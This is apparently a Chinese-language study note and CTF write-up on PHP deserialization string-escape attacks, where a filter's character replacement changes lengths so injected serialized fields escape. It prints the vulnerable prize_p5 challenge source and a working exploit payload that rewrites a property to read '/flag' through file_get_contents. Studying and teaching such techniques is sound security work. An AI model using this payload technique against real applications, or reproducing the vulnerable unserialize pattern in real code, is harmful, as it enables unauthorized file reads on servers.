web的信息收集内容太多了学的我头疼,所以我想写一下这个php反序列化的字符串逃逸。

字符增多的逃逸

字符串逃逸的成因是waf将一些敏感字符进行了一些替换导致了字符串的字符数量的增多减少。如下面的代码

1
2
3
4
5
function black_list($str)
{
$str=preg_replace('/flag/i','hacker',$str);
return $str;
}

可以看到上面的代码回将flag改为hacker那么这个字符数量就多了两个,那么我们思考一些,如果waf对我们传入的pop链进行字符替换那么会发生什么呢?比如我们反序列的pop链为O:1:"E":1:{s:1:"a";s:4:"flag";}那么这个再经过black_list的处理后就会变为O:1:"E":1:{s:1:"a";s:4:"hacker";}那么这是时候我们是无法进行反序列的,因为s的数量小于字符数。那么我们字符串逃逸是怎么造成的呢?

字符逃逸的原理

首先我们要知道反序列的结束位置。当反序列化遇到;}时就会停止。注意;}是不能包含再字符串里的即像s:5:"lll;}";}前一个;}是字符串的第4,5个字符,这就导致了其无法将反序列提前结束。
但是如果由于waf导致字符变多或者减少这就会导致,原本应该被解析为字符的字符被解析为特殊字符,使得反序列的结果被更改。

例子

还是拿上面的函数来作为waf来解释

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function black_list($str)
{
$str=preg_replace('/flag/i','hacker~',$str);
return $str;
}
class E{
public $a='flag";}';
public $b="lalalalala";
}
$a=serialize(new E());
$a=black_list($a)

上面的代码就存在字符逃逸字符增多的漏洞
我们要利用修改$a的值来尝试修改$b的值。

1
O:1:"E":2:{s:1:"a";s:7:"hacker~";};s:1:"b";s:10:"lalalalala";}

我们可以看到上面的的flag变成了hacker~正好和flag";}的长度相同那么这就导致了hacker~被识别为了字符串而";}被识别为了特殊字符。这就导致了反序列是遇到了;}提前结束。这就是waf错误的将反序列的的字符增多导致了";}逃逸出字符串被解析为反序列语句。
那么我们可以将";}进行更改更改成";s:1:"b";s:10:"hahahahaha";}如果这句话被逃逸就会造成反序列的结果被更改即类的属性被更改。
如果要使";s:1:"b";s:13:"hhhhahahahaha";}逃逸就要使pop链再被waf更改后的字符增多相同字符数。如
1
O:1:"E":2:{s:1:"a";s:64:"flagflagflagflagflagflagflagflag";s:1:"b";s:13:"hhhhahahahaha";}";s:1:"b";s:10:"lalalalala";}

我们传入的$a值为flagflagflagflagflagflagflagflag";s:1:"b";s:13:"hhhhahahahaha";}传入了8个flag再经过waf后变为
1
O:1:"E":2:{s:1:"a";s:64:"hacker~hacker~hacker~hacker~hacker~hacker~hacker~hacker~";s:1:"b";s:13:"hhhhahahahaha";}";s:1:"b";s:10:"lalalalala";}

替换后的字符正好为64个即多出来的字符数整好为需要逃逸的字符数。导致";s:1:"b";s:13:"hhhhahahahaha";}逃逸这就使得"闭合前一个引号;s:1:"b";s:13:"hhhhahahahaha";}被解析为反序列化链。这就使得被解析后的b变为了hhhhhahahaha而不是lalalalalala。

字符减少

字符减少的字符逃逸其实本质原理和增多是一样的,是将本改解析为字符串的解析成了非字符串导致了反序列的结果发生改变。
我这里就直接放例子了
我们这里假设flag会被直接解析成空
我们观察下面的序列化语句

会发现如果我们可以将第一个属性的字符串减少使得第二个属性即红色的原本为序列化语句的部分被解析成字符串,那么我们原本构造的字符串就会被逃逸出去。
红色部分为16个字符即我们只要在第一个属性里构造一个会被waf减少16个字符的字符串即可将红色部分解析成字符串使得我们构造的绿色部分逃逸即字符串减少的逃逸与增多的在paylaod上构造的唯一区别就是一个是要增多与需要逃逸的字符串相同数量的字符,一个要减少到需要逃逸的字符串的数量的字符。

题目prize_p5(字符增多)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);

class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>

我们仔细观察源码会发现,该题目有两种解法,一种是利用原生类一种是利用字符串逃逸,这里我只讲字符逃逸的部分。
我们只要给cata随便传个值就会到下面这句代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}

我们可以看到其会使用file_get_contents这个函数来获取文件内容到字符串中,但是我们可以看到email设了waf不可以传入email的值为flag。但是我们可以看到其在序列化之前先使用waf来替换了一下字符串abscond($abscond)
1
2
3
4
5
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}

这个waf会将NSS转化成hacker。这就导致了字符的增多。我们可以考虑使用字符逃逸来修改email的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
O:6:"escape":3:{s:4:"name";s:3:"aaa";s:5:"phone";a:1:{i:0;s:4:"aaaa";}s:5:"email";s:5:"/flag";}
````
如果反序列化为上面的语句就会使email为"/flag"使flag被输出。
但是waf的存在导致我们无法直接构造上面的这句话。那么我们就需要逃逸。由于要求phone为数组所以我们要连着phone一起逃逸。即逃逸语句为`";s:5:"phone";a:1:{i:0;s:4:"aaaa";}s:5:"email";s:5:"/flag";}`改逃逸语句为60个字符即我们要多60个字符才能使其逃逸。
exp
```php
<?php
class escape{
public $name = 'NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSS";s:5:"phone";a:1:{i:0;s:4:"aaaa";}s:5:"email";s:5:"/flag";}';
public $phone=array(aaaa);
public $email = '1';
}
$a=new escape();
echo urlencode(serialize($a));
?>

所以我们只要给name传值为
1
NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSS";s:5:"phone";a:1:{i:0;s:4:"aaaa";}s:5:"email";s:5:"/flag";}

即可